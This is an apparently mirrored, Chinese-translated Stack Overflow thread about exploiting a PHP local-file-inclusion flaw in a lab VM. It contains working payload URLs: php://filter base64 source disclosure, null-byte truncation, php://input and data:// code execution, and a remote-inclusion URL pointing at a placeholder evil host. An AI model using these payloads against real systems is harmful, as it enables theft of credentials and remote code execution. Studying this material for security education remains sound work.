【问题标题】:PHP security exploit - list content of remote PHP file?PHP 安全漏洞 - 列出远程 PHP 文件的内容?
【发布时间】:2014-01-10 15:37:48
【问题描述】:

我正在尝试利用在 VM 内运行的示例网站中的一些 Web 漏洞(它在 Web 上不可用 - 仅用于教育目的)。我有一个名为setupreset.php 的php 文件,其中包含有关用于设置网站的MySQL 配置、设置和密码的信息。这与其他 php 文件(索引、产品、论坛等)位于同一目录中。

这是index.php的代码,供参考:

<?php
include ("includes/header.php");
// Grab inputs
$page = $_GET[page];
if ($page=="") {
    include("home.html"); 
} else { include ($page . '.php'); } 
include ("includes/footer.php");
?>

主要目标是列出setupreset PHP 文件的内容,或者以某种方式下载它。如果我导航到这个文件:http://10.211.55.5/index.php?page=setupreset,它会被执行,但 PHP 代码自然不会显示,因为它是由 PHP 解释器解析的。

现在,该网站使用 PHP includes,所以 URL 看起来像这样:http://10.211.55.5/index.php?page=products。这似乎很容易受到远程文件包含的影响,我可以简单地指向另一个 PHP 页面,例如http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php 但 allow_url_include 是 off 并且无法更改,所以这不起作用(我试过这个)。但是,allow_url_fopen 很可能开启(因为它默认开启),所以我的问题如下:是否可以使用这种漏洞上传列出setupreset.php 内容的 PHP 文件或脚本?

【问题讨论】:

  • 浏览器不解析。它由 PHP 解释器解析。浏览器只显示它。您是否尝试过目录遍历?这可能行得通……
  • 我的错,@nietonfir,我就是这个意思。
  • 不确定是不是错字,但不应该是$_GET["page"]吗?
  • 浏览器不解析。它由 PHP 解释器解析。 T̶h̶e̶̶b̶r̶o̶w̶s̶e̶r̶o̶n̶l̶y̶̶d̶i̶s̶p̶l̶a̶y̶s̶̶i̶t̶

标签: php security exploit ssi


【解决方案1】:

如果allow_url_include 关闭,则无法执行远程代码。但是您可以找到其他页面,例如内容管理仪表板,将您的代码作为“图像”上传,然后找到实际路径并include它。

而且,还是有办法利用的。

让我们看看你的代码。您可能会注意到它会在路径末尾自动添加扩展名.php。所以你应该在 GET 参数中删除php。但是,如果您要包含的文件没有 PHP 扩展名怎么办?然后用%00终止字符串,如

http://localhost/include.php?page=../uploads/your_uploaded_fake_image.jpg%00

PHP 中有一个特殊的协议,强大而危险。这是php://。 详细信息可以查看offcial manual,这里我将展示一些使文件包含漏洞成为源泄露甚至远程代码执行漏洞的案例。

在测试之前,我建议您使用带有 HackBar 插件的 Firefox。这是一个强大的渗透测试套件。

  1. 来源披露

此功能不需要允许包含 url。

php://filter 是一种元包装器,旨在允许在打开时将过滤器应用于流。这对于 readfile()、file() 和 file_get_contents() 等一体式文件函数很有用,否则在读取内容之前没有机会对流应用过滤器。 (Reference)

然后您可以通过以下请求在同一目录中看到源secret.inc.php。

http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc

文件内容会以base64编码,所以确实支持二进制文件。

强大可以获取敏感信息,例如数据库密码或加密密钥!如果权限配置不当,它甚至可以跳出笼子,从外部目录的文件中提取数据,例如/etc/passwd!

  1. 远程代码执行

实际上你不能这样利用,因为allow_url_include在这种情况下是关闭的。

但我必须指出,因为它是神奇的!

它与本地包含完全不同。它不需要将任何文件上传到远程服务器左右。您只需要一个请求。

php://input 可以访问原始的 HTTP 请求正文,那么include("php://input") 做了什么?只需访问http://localhost/include.php?page=php://input,请求正文中包含有效的 PHP 代码,然后您就可以在远程服务器中执行任何(允许的)函数!

不要忘记 %00 删除 .php 尾部。

此外,PHP 支持data:// URL 方案。您可以直接将代码放在GET参数中!下面的测试不需要任何特殊工具,普通浏览器就可以进行攻击。

http://localhost/include.php?page=data:text/plaintext,<?php phpinfo();?>

一些 Web 应用程序防火墙可能会检测到 URL 中的可疑字符串并阻止恶意请求,它们不会单独留下 phpinfo。有没有办法加密?当然。 data:// URL 至少支持 base64 编码...

http://localhost/include.php?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

你会再次熟悉熟悉的phpinfo!

注意

空字节技巧 (%00) 不再适用于 PHP >= 5.3.4:http://blog.benjaminwalters.net/?p=22139

【讨论】:

  • 很棒的工具,我一定会去看看!请求php://filter/read=convert.base64-encode/resource 成功了,因为网站通过http://10.211.55.5/index.php?page=php://filter/read=convert.base64-encode/resource=setupreset 为我提供了文件的base 64 编码版本。然后我简单地使用了一个在线解码器(例如base64decode.org)来获取原始内容。非常感谢!
  • 没问题。顺便说一句,您可以在现代浏览器中直接解码 base64,只需导航到 data:text/plaintext;base64,aGVsbG8gd29ybGQ= 看看会发生什么。 ;)
  • 那是什么插件? :)
  • @BrendanScarvell 是一个强大的渗透助手,可以让你执行复杂的 HTTP 请求。查看链接了解详细信息。 :)
  • 请注意,无法再访问该博客。 WayBackMachine 仍然可以访问它web.archive.org/web/20140625025938/http://…
【解决方案2】:

使用目录遍历并以%00 NUL meta character 结束您的输入字符串(如wikipedia 所述)。

http://example.com/index.php?page=setuppreset%00

这将从包含中删除“.php”后缀,并可能以某种方式帮助您。

【讨论】:

    【解决方案3】:

    事实并非如此。 php 文件正在执行,因为您调用了include,如果您调用了readfile、file_get_contents 或类似名称,您可以看到 php 文件的内容。

    【讨论】:

    • 是的,这很容易,但不幸的是我无法更改文件的源代码,除非它是通过某种形式的利用。
    • @evert 你能解释一下...制作 file_get_content(),我只是得到 html
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2012-12-17
    • 1970-01-01
    • 2014-04-28
    • 1970-01-01
    • 2011-04-09
    • 1970-01-01
    相关资源
    最近更新 更多